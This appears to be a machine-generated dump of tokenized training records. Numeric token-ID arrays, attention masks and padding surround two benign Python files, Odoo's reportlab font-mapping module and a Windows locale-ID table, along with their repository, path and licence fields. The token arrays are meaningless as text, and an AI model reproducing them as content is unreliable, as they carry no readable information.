436, 440, 2951, 570, 22132, 1561, 12, 436, 8428, 627, 2597, 5171, 282, 16777, 3851, 1689, 538, 531, 370, 1336, 1584, 737, 1263, 22132, 2082, 2166, 14, 11787, 6058, 26, 11787, 1306, 931, 1431, 31260, 14, 647, 297, 283, 1700, 14, 647, 358, 1128, 715, 1128, 1306, 931, 1431, 31260, 14, 647, 297, 283, 1421, 15, 1700, 15, 6185, 14, 647, 358, 1128, 715, 1128, 1306, 931, 1431, 31260, 14, 647, 297, 283, 5876, 15, 1080, 14, 1360, 358, 1128, 756, 11787, 1306, 931, 1431, 31260, 15, 5876, 20362, 1360, 297, 283, 5876, 15, 1080, 14, 1360, 358, 1128, 715, 1128, 1306, 931, 1431, 31260, 15, 5876, 20362, 1360, 297, 283, 5876, 15, 1421, 15, 1700, 14, 1360, 358, 1128, 756, 11787, 520, 635, 3851, 26, 314, 5739, 3851, 1128, 520, 635, 1788, 26, 314, 931, 536, 402, 314, 570, 370, 1336, 6169, 1128, 520, 1107, 26, 658, 549, 64, 340, 314, 931, 536, 4450, 314, 3851, 12, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
hmen89/odoo
openerp/report/render/rml2pdf/customfonts.py
119
3491
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2009 P. Christeas, Tiny SPRL (<http://tiny.be>). # Copyright (C) 2010-2013 OpenERP SA. (http://www.openerp.com) # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## from reportlab import rl_config import logging import glob import os # .apidoc title: TTF Font Table """This module allows the mapping of some system-available TTF fonts to the reportlab engine. This file could be customized per distro (although most Linux/Unix ones) should have the same filenames, only need the code below). Due to an awful configuration that ships with reportlab at many Linux and Ubuntu distros, we have to override the search path, too. """ _logger = logging.getLogger(__name__) CustomTTFonts = [] # Search path for TTF files, in addition of rl_config.TTFSearchPath TTFSearchPath = [ '/usr/share/fonts/truetype', # SuSE '/usr/share/fonts/dejavu', '/usr/share/fonts/liberation', # Fedora, RHEL '/usr/share/fonts/truetype/*','/usr/local/share/fonts' # Ubuntu, '/usr/share/fonts/TTF/*', # Mandriva/Mageia '/usr/share/fonts/TTF', # Arch Linux '/usr/lib/openoffice/share/fonts/truetype/', '~/.fonts', '~/.local/share/fonts', # mac os X - from # http://developer.apple.com/technotes/tn/tn2024.html '~/Library/Fonts', '/Library/Fonts', '/Network/Library/Fonts', '/System/Library/Fonts', # windows 'c:/winnt/fonts', 'c:/windows/fonts' ] def list_all_sysfonts(): """ This function returns list of font directories of system. """ filepath = [] # Perform the search for font files ourselves, as reportlab's # TTFOpenFile is not very good at it. searchpath = list(set(TTFSearchPath + rl_config.TTFSearchPath)) for dirname in searchpath: for filename in glob.glob(os.path.join(os.path.expanduser(dirname), '*.[Tt][Tt][Ff]')): filepath.append(filename) return filepath def SetCustomFonts(rmldoc): """ Map some font names to the corresponding TTF fonts The ttf font may not even have the same name, as in Times -> Liberation Serif. This function is called once per report, so it should avoid system-wide processing (cache it, instead). """ for family, font, filename, mode in CustomTTFonts: if os.path.isabs(filename) and os.path.exists(filename): rmldoc.setTTFontMapping(family, font, filename, mode) return True # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 8664, 510, 14, 2799, 322, 1597, 305, 12, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 259, 1898, 334, 35, 9, 7129, 13, 6965, 7653, 13950, 14, 334, 1014, 921, 1544, 14, 11267, 14, 957, 9, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 504, 21773, 492, 25717, 63, 888, 199, 646, 2050, 199, 646, 5739, 199, 646, 747, 199, 199, 3, 1275, 27703, 679, 2538, 26, 377, 6145, 26159, 6957, 199, 199, 624, 2765, 859, 6127, 314, 4412, 402, 2005, 2656, 13, 4561, 377, 6145, 26219, 370, 199, 1589, 21773, 6869, 14, 199, 199, 2765, 570, 4293, 506, 26707, 1126, 20499, 334, 6130, 4937, 4750, 10130, 15, 21607, 7869, 9, 199, 5626, 1172, 314, 2011, 6203, 12, 1454, 1929, 314, 1233, 5084, 680, 199, 199, 36, 310, 370, 376, 26936, 1893, 2897, 626, 1033, 6142, 543, 21773, 737, 5002, 10130, 199, 460, 31631, 2917, 4796, 12, 781, 1172, 370, 4278, 314, 2754, 931, 12, 4634, 14, 199, 624, 199, 63, 2921, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 199, 7223, 1481, 38, 13366, 275, 942, 199, 199, 3, 8730, 931, 367, 377, 6145, 1584, 12, 315, 10234, 402, 25717, 63, 888, 14, 1481, 38, 5278, 2042, 199, 1481, 38, 5278, 2042, 275, 359, 288, 1994, 2647, 15, 6251, 15, 19864, 15, 2052, 466, 297, 327, 428, 85, 899, 288, 1994, 2647, 15, 6251, 15, 19864, 15, 271, 30738, 85, 297, 1994, 2647, 15, 6251, 15, 19864, 15, 317, 605, 425, 297, 327, 481, 379, 11131, 12, 820, 24771, 288, 1994, 2647, 15, 6251, 15, 19864, 15, 2052, 466, 6331, 32381, 2647, 15, 1832, 15, 6251, 15, 19864, 7, 327, 31631, 12, 288, 1994, 2647, 15, 6251, 15, 19864, 15, 1481, 38, 6331, 297, 327, 603, 460, 322, 3042, 15, 45, 474, 4674, 288, 1994, 2647, 15, 6251, 15, 19864, 15, 1481, 38, 297, 327, 19521, 10130, 288, 1994, 2647, 15, 773, 15, 1490, 18812, 15, 6251, 15, 19864, 15, 2052, 466, 3678, 288, 17352, 8083, 19864, 297, 288, 17352, 8083, 1832, 15, 6251, 15, 19864, 297, 953, 327, 4497, 747, 1323, 446, 687, 288, 327, 1455, 921, 11071, 14, 12820, 14, 957, 15, 15970, 5983, 15, 5889, 15, 5889, 4999, 20, 14, 1360, 288, 17352, 15, 7424, 15, 38, 13366, 297, 288, 1994, 7424, 15, 38, 13366, 297, 288, 1994, 4491, 15, 7424, 15, 38, 13366, 297, 288, 1994, 3989, 15, 7424, 15, 38, 13366, 297, 953, 327, 10061, 288, 283, 67, 11254, 2676, 343, 15, 19864, 297, 288, 283, 67, 11254, 8258, 15, 19864, 7, 199, 61, 199, 199, 318, 769, 63, 452, 63, 1274, 19864, 837, 272, 408, 267, 961, 805, 2529, 769, 402, 5023, 6602, 402, 2656, 14, 272, 408, 272, 9911, 275, 942, 339, 327, 14795, 314, 2754, 367, 5023, 1584, 26495, 12, 465, 21773, 1159, 272, 327, 377, 52, 3230, 897, 1173, 365, 440, 7437, 6954, 737, 652, 14, 272, 2754, 515, 275, 769, 8, 409, 8, 1481, 38, 5278, 2042, 435, 25717, 63, 888, 14, 1481, 38, 5278, 2042, 430, 272, 367, 9017, 315, 2754, 515, 26, 267, 367, 1788, 315, 5739, 14, 6463, 8, 736, 14, 515, 14, 904, 8, 736, 14, 515, 14, 12131, 8, 3475, 395, 11937, 59, 52, 84, 1527, 52, 84, 1527, 38, 70, 61, 8109, 288, 9911, 14, 740, 8, 1501, 9, 272, 372, 9911, 199, 199, 318, 2494, 7223, 38, 13366, 8, 16300, 1301, 304, 272, 408, 9672, 2005, 5023, 1561, 370, 314, 5226, 377, 6145, 26219, 398, 710, 307, 3249, 5023, 1443, 440, 2755, 1172, 314, 2011, 536, 12, 465, 315, 267, 4703, 83, 1035, 24157, 605, 425, 3739, 692, 14, 267, 961, 805, 365, 2797, 5403, 1126, 3622, 12, 880, 652, 1077, 267, 5126, 2656, 13, 13062, 6661, 334, 1637, 652, 12, 3140, 680, 272, 408, 272, 367, 9614, 12, 5023, 12, 1788, 12, 818, 315, 8388, 1481, 38, 13366, 26, 267, 340, 747, 14, 515, 14, 17896, 8, 1501, 9, 436, 747, 14, 515, 14, 2444, 8, 1501, 304, 288, 519, 757, 1301, 14, 409, 1481, 6986, 7674, 8, 6606, 12, 5023, 12, 1788, 12, 818, 9, 272, 372, 715, 199, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 8664, 510, 14, 2799, 322, 1597, 305, 12, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 259, 1898, 334, 35, 9, 7129, 13, 6965, 7653, 13950, 14, 334, 1014, 921, 1544, 14, 11267, 14, 957, 9, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 504, 21773, 492, 25717, 63, 888, 199, 646, 2050, 199, 646, 5739, 199, 646, 747, 199, 199, 3, 1275, 27703, 679, 2538, 26, 377, 6145, 26159, 6957, 199, 199, 624, 2765, 859, 6127, 314, 4412, 402, 2005, 2656, 13, 4561, 377, 6145, 26219, 370, 199, 1589, 21773, 6869, 14, 199, 199, 2765, 570, 4293, 506, 26707, 1126, 20499, 334, 6130, 4937, 4750, 10130, 15, 21607, 7869, 9, 199, 5626, 1172, 314, 2011, 6203, 12, 1454, 1929, 314, 1233, 5084, 680, 199, 199, 36, 310, 370, 376, 26936, 1893, 2897, 626, 1033, 6142, 543, 21773, 737, 5002, 10130, 199, 460, 31631, 2917, 4796, 12, 781, 1172, 370, 4278, 314, 2754, 931, 12, 4634, 14, 199, 624, 199, 63, 2921, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 199, 7223, 1481, 38, 13366, 275, 942, 199, 199, 3, 8730, 931, 367, 377, 6145, 1584, 12, 315, 10234, 402, 25717, 63, 888, 14, 1481, 38, 5278, 2042, 199, 1481, 38, 5278, 2042, 275, 359, 288, 1994, 2647, 15, 6251, 15, 19864, 15, 2052, 466, 297, 327, 428, 85, 899, 288, 1994, 2647, 15, 6251, 15, 19864, 15, 271, 30738, 85, 297, 1994, 2647, 15, 6251, 15, 19864, 15, 317, 605, 425, 297, 327, 481, 379, 11131, 12, 820, 24771, 288, 1994, 2647, 15, 6251, 15, 19864, 15, 2052, 466, 6331, 32381, 2647, 15, 1832, 15, 6251, 15, 19864, 7, 327, 31631, 12, 288, 1994, 2647, 15, 6251, 15, 19864, 15, 1481, 38, 6331, 297, 327, 603, 460, 322, 3042, 15, 45, 474, 4674, 288, 1994, 2647, 15, 6251, 15, 19864, 15, 1481, 38, 297, 327, 19521, 10130, 288, 1994, 2647, 15, 773, 15, 1490, 18812, 15, 6251, 15, 19864, 15, 2052, 466, 3678, 288, 17352, 8083, 19864, 297, 288, 17352, 8083, 1832, 15, 6251, 15, 19864, 297, 953, 327, 4497, 747, 1323, 446, 687, 288, 327, 1455, 921, 11071, 14, 12820, 14, 957, 15, 15970, 5983, 15, 5889, 15, 5889, 4999, 20, 14, 1360, 288, 17352, 15, 7424, 15, 38, 13366, 297, 288, 1994, 7424, 15, 38, 13366, 297, 288, 1994, 4491, 15, 7424, 15, 38, 13366, 297, 288, 1994, 3989, 15, 7424, 15, 38, 13366, 297, 953, 327, 10061, 288, 283, 67, 11254, 2676, 343, 15, 19864, 297, 288, 283, 67, 11254, 8258, 15, 19864, 7, 199, 61, 199, 199, 318, 769, 63, 452, 63, 1274, 19864, 837, 272, 408, 267, 961, 805, 2529, 769, 402, 5023, 6602, 402, 2656, 14, 272, 408, 272, 9911, 275, 942, 339, 327, 14795, 314, 2754, 367, 5023, 1584, 26495, 12, 465, 21773, 1159, 272, 327, 377, 52, 3230, 897, 1173, 365, 440, 7437, 6954, 737, 652, 14, 272, 2754, 515, 275, 769, 8, 409, 8, 1481, 38, 5278, 2042, 435, 25717, 63, 888, 14, 1481, 38, 5278, 2042, 430, 272, 367, 9017, 315, 2754, 515, 26, 267, 367, 1788, 315, 5739, 14, 6463, 8, 736, 14, 515, 14, 904, 8, 736, 14, 515, 14, 12131, 8, 3475, 395, 11937, 59, 52, 84, 1527, 52, 84, 1527, 38, 70, 61, 8109, 288, 9911, 14, 740, 8, 1501, 9, 272, 372, 9911, 199, 199, 318, 2494, 7223, 38, 13366, 8, 16300, 1301, 304, 272, 408, 9672, 2005, 5023, 1561, 370, 314, 5226, 377, 6145, 26219, 398, 710, 307, 3249, 5023, 1443, 440, 2755, 1172, 314, 2011, 536, 12, 465, 315, 267, 4703, 83, 1035, 24157, 605, 425, 3739, 692, 14, 267, 961, 805, 365, 2797, 5403, 1126, 3622, 12, 880, 652, 1077, 267, 5126, 2656, 13, 13062, 6661, 334, 1637, 652, 12, 3140, 680, 272, 408, 272, 367, 9614, 12, 5023, 12, 1788, 12, 818, 315, 8388, 1481, 38, 13366, 26, 267, 340, 747, 14, 515, 14, 17896, 8, 1501, 9, 436, 747, 14, 515, 14, 2444, 8, 1501, 304, 288, 519, 757, 1301, 14, 409, 1481, 6986, 7674, 8, 6606, 12, 5023, 12, 1788, 12, 818, 9, 272, 372, 715, 199, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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lang_id.py
186
3901
""" Windows 2000 - List of Locale IDs and Language Groups Original data table: http://www.microsoft.com/globaldev/reference/win2k/setup/lcid.mspx """ LANGUAGE_ID = { 0x0436: u"Afrikaans", 0x041c: u"Albanian", 0x0401: u"Arabic Saudi Arabia", 0x0801: u"Arabic Iraq", 0x0c01: u"Arabic Egypt", 0x1001: u"Arabic Libya", 0x1401: u"Arabic Algeria", 0x1801: u"Arabic Morocco", 0x1c01: u"Arabic Tunisia", 0x2001: u"Arabic Oman", 0x2401: u"Arabic Yemen", 0x2801: u"Arabic Syria", 0x2c01: u"Arabic Jordan", 0x3001: u"Arabic Lebanon", 0x3401: u"Arabic Kuwait", 0x3801: u"Arabic UAE", 0x3c01: u"Arabic Bahrain", 0x4001: u"Arabic Qatar", 0x042b: u"Armenian", 0x042c: u"Azeri Latin", 0x082c: u"Azeri Cyrillic", 0x042d: u"Basque", 0x0423: u"Belarusian", 0x0402: u"Bulgarian", 0x0403: u"Catalan", 0x0404: u"Chinese Taiwan", 0x0804: u"Chinese PRC", 0x0c04: u"Chinese Hong Kong", 0x1004: u"Chinese Singapore", 0x1404: u"Chinese Macau", 0x041a: u"Croatian", 0x0405: u"Czech", 0x0406: u"Danish", 0x0413: u"Dutch Standard", 0x0813: u"Dutch Belgian", 0x0409: u"English United States", 0x0809: u"English United Kingdom", 0x0c09: u"English Australian", 0x1009: u"English Canadian", 0x1409: u"English New Zealand", 0x1809: u"English Irish", 0x1c09: u"English South Africa", 0x2009: u"English Jamaica", 0x2409: u"English Caribbean", 0x2809: u"English Belize", 0x2c09: u"English Trinidad", 0x3009: u"English Zimbabwe", 0x3409: u"English Philippines", 0x0425: u"Estonian", 0x0438: u"Faeroese", 0x0429: u"Farsi", 0x040b: u"Finnish", 0x040c: u"French Standard", 0x080c: u"French Belgian", 0x0c0c: u"French Canadian", 0x100c: u"French Swiss", 0x140c: u"French Luxembourg", 0x180c: u"French Monaco", 0x0437: u"Georgian", 0x0407: u"German Standard", 0x0807: u"German Swiss", 0x0c07: u"German Austrian", 0x1007: u"German Luxembourg", 0x1407: u"German Liechtenstein", 0x0408: u"Greek", 0x040d: u"Hebrew", 0x0439: u"Hindi", 0x040e: u"Hungarian", 0x040f: u"Icelandic", 0x0421: u"Indonesian", 0x0410: u"Italian Standard", 0x0810: u"Italian Swiss", 0x0411: u"Japanese", 0x043f: u"Kazakh", 0x0457: u"Konkani", 0x0412: u"Korean", 0x0426: u"Latvian", 0x0427: u"Lithuanian", 0x042f: u"Macedonian", 0x043e: u"Malay Malaysia", 0x083e: u"Malay Brunei Darussalam", 0x044e: u"Marathi", 0x0414: u"Norwegian Bokmal", 0x0814: u"Norwegian Nynorsk", 0x0415: u"Polish", 0x0416: u"Portuguese Brazilian", 0x0816: u"Portuguese Standard", 0x0418: u"Romanian", 0x0419: u"Russian", 0x044f: u"Sanskrit", 0x081a: u"Serbian Latin", 0x0c1a: u"Serbian Cyrillic", 0x041b: u"Slovak", 0x0424: u"Slovenian", 0x040a: u"Spanish Traditional Sort", 0x080a: u"Spanish Mexican", 0x0c0a: u"Spanish Modern Sort", 0x100a: u"Spanish Guatemala", 0x140a: u"Spanish Costa Rica", 0x180a: u"Spanish Panama", 0x1c0a: u"Spanish Dominican Republic", 0x200a: u"Spanish Venezuela", 0x240a: u"Spanish Colombia", 0x280a: u"Spanish Peru", 0x2c0a: u"Spanish Argentina", 0x300a: u"Spanish Ecuador", 0x340a: u"Spanish Chile", 0x380a: u"Spanish Uruguay", 0x3c0a: u"Spanish Paraguay", 0x400a: u"Spanish Bolivia", 0x440a: u"Spanish El Salvador", 0x480a: u"Spanish Honduras", 0x4c0a: u"Spanish Nicaragua", 0x500a: u"Spanish Puerto Rico", 0x0441: u"Swahili", 0x041d: u"Swedish", 0x081d: u"Swedish Finland", 0x0449: u"Tamil", 0x0444: u"Tatar", 0x041e: u"Thai", 0x041f: u"Turkish", 0x0422: u"Ukrainian", 0x0420: u"Urdu", 0x0443: u"Uzbek Latin", 0x0843: u"Uzbek Cyrillic", 0x042a: u"Vietnamese", }
mit
[ 624, 199, 8647, 12293, 446, 3820, 402, 28298, 11449, 436, 8466, 25031, 199, 199, 17286, 666, 1817, 26, 199, 1014, 921, 1544, 14, 17040, 14, 957, 15, 2966, 2374, 15, 4443, 15, 2676, 18, 75, 15, 2758, 15, 76, 7504, 14, 77, 681, 88, 199, 624, 199, 199, 13947, 63, 998, 275, 469, 272, 378, 88, 966, 1344, 26, 399, 2, 14799, 322, 7351, 796, 401, 272, 378, 88, 10531, 67, 26, 399, 2, 2439, 13206, 5653, 401, 272, 378, 88, 28025, 26, 399, 2, 33, 24176, 428, 23577, 437, 345, 4492, 65, 401, 272, 378, 88, 2036, 614, 26, 399, 2, 33, 24176, 473, 345, 81, 401, 272, 378, 88, 16, 67, 614, 26, 399, 2, 33, 24176, 662, 4312, 541, 401, 272, 378, 88, 22167, 26, 399, 2, 33, 24176, 24157, 991, 65, 401, 272, 378, 88, 1079, 614, 26, 399, 2, 33, 24176, 4580, 836, 4674, 401, 272, 378, 88, 1085, 614, 26, 399, 2, 33, 24176, 603, 269, 679, 331, 401, 272, 378, 88, 17, 67, 614, 26, 399, 2, 33, 24176, 377, 5411, 10971, 401, 272, 378, 88, 8339, 26, 399, 2, 33, 24176, 593, 1237, 401, 272, 378, 88, 1194, 614, 26, 399, 2, 33, 24176, 1488, 69, 1410, 401, 272, 378, 88, 1651, 614, 26, 399, 2, 33, 24176, 5515, 23714, 401, 272, 378, 88, 18, 67, 614, 26, 399, 2, 33, 24176, 1603, 2181, 290, 401, 272, 378, 88, 19, 4587, 26, 399, 2, 33, 24176, 491, 2871, 21009, 401, 272, 378, 88, 1082, 614, 26, 399, 2, 33, 24176, 1804, 85, 2573, 401, 272, 378, 88, 1703, 614, 26, 399, 2, 33, 24176, 738, 12500, 401, 272, 378, 88, 19, 67, 614, 26, 399, 2, 33, 24176, 699, 11326, 6322, 401, 272, 378, 88, 20, 4587, 26, 399, 2, 33, 24176, 1413, 8535, 401, 272, 378, 88, 13011, 66, 26, 399, 2, 1596, 22562, 401, 272, 378, 88, 13011, 67, 26, 399, 2, 33, 2282, 73, 23864, 401, 272, 378, 88, 19171, 67, 26, 399, 2, 33, 2282, 73, 18461, 11909, 401, 272, 378, 88, 13011, 68, 26, 399, 2, 34, 305, 544, 401, 272, 378, 88, 966, 1789, 26, 399, 2, 34, 352, 285, 85, 6214, 401, 272, 378, 88, 966, 996, 26, 399, 2, 34, 27092, 15289, 401, 272, 378, 88, 966, 1644, 26, 399, 2, 35, 7539, 290, 401, 272, 378, 88, 966, 966, 26, 399, 2, 1049, 26883, 377, 5789, 20444, 401, 272, 378, 88, 2036, 966, 26, 399, 2, 1049, 26883, 510, 8205, 401, 272, 378, 88, 16, 67, 966, 26, 399, 2, 1049, 26883, 869, 951, 1804, 951, 401, 272, 378, 88, 1960, 20, 26, 399, 2, 1049, 26883, 428, 316, 439, 720, 401, 272, 378, 88, 1079, 966, 26, 399, 2, 1049, 26883, 10444, 3844, 401, 272, 378, 88, 10531, 65, 26, 399, 2, 35, 293, 2159, 290, 401, 272, 378, 88, 966, 1717, 26, 399, 2, 35, 806, 335, 401, 272, 378, 88, 966, 1690, 26, 399, 2, 29336, 2453, 401, 272, 378, 88, 966, 969, 26, 399, 2, 36, 337, 335, 9739, 401, 272, 378, 88, 2036, 969, 26, 399, 2, 36, 337, 335, 699, 352, 71, 5653, 401, 272, 378, 88, 966, 1643, 26, 399, 2, 19410, 1910, 5703, 24230, 401, 272, 378, 88, 16, 11782, 26, 399, 2, 19410, 1910, 5703, 1804, 316, 4556, 401, 272, 378, 88, 16, 67, 1643, 26, 399, 2, 19410, 437, 11409, 25861, 401, 272, 378, 88, 1960, 25, 26, 399, 2, 19410, 445, 6738, 6268, 401, 272, 378, 88, 1079, 1643, 26, 399, 2, 19410, 7053, 3107, 69, 279, 460, 401, 272, 378, 88, 1085, 1643, 26, 399, 2, 19410, 473, 322, 609, 401, 272, 378, 88, 17, 67, 1643, 26, 399, 2, 19410, 23150, 437, 70, 7127, 401, 272, 378, 88, 8664, 26, 399, 2, 19410, 1603, 14541, 24027, 401, 272, 378, 88, 1194, 1643, 26, 399, 2, 19410, 445, 759, 66, 28142, 401, 272, 378, 88, 18, 11782, 26, 399, 2, 19410, 6423, 13559, 401, 272, 378, 88, 18, 67, 1643, 26, 399, 2, 19410, 377, 24667, 344, 350, 401, 272, 378, 88, 5863, 25, 26, 399, 2, 19410, 3107, 73, 887, 371, 1129, 401, 272, 378, 88, 1082, 1643, 26, 399, 2, 19410, 11308, 1638, 802, 3746, 401, 272, 378, 88, 966, 821, 26, 399, 2, 9169, 265, 5653, 401, 272, 378, 88, 16307, 26, 399, 2, 1906, 3478, 31209, 401, 272, 378, 88, 966, 1398, 26, 399, 2, 38, 285, 338, 401, 272, 378, 88, 11189, 66, 26, 399, 2, 8694, 78, 2453, 401, 272, 378, 88, 11189, 67, 26, 399, 2, 38, 15148, 9739, 401, 272, 378, 88, 27014, 67, 26, 399, 2, 38, 15148, 699, 352, 71, 5653, 401, 272, 378, 88, 16, 67, 16, 67, 26, 399, 2, 38, 15148, 445, 6738, 6268, 401, 272, 378, 88, 1960, 67, 26, 399, 2, 38, 15148, 16666, 19857, 401, 272, 378, 88, 10037, 67, 26, 399, 2, 38, 15148, 30936, 1845, 887, 567, 71, 401, 272, 378, 88, 7663, 67, 26, 399, 2, 38, 15148, 10953, 13286, 401, 272, 378, 88, 31013, 26, 399, 2, 4240, 1308, 5653, 401, 272, 378, 88, 966, 1780, 26, 399, 2, 27866, 1237, 9739, 401, 272, 378, 88, 16, 11369, 26, 399, 2, 27866, 1237, 16666, 19857, 401, 272, 378, 88, 16, 67, 1780, 26, 399, 2, 27866, 1237, 31853, 816, 290, 401, 272, 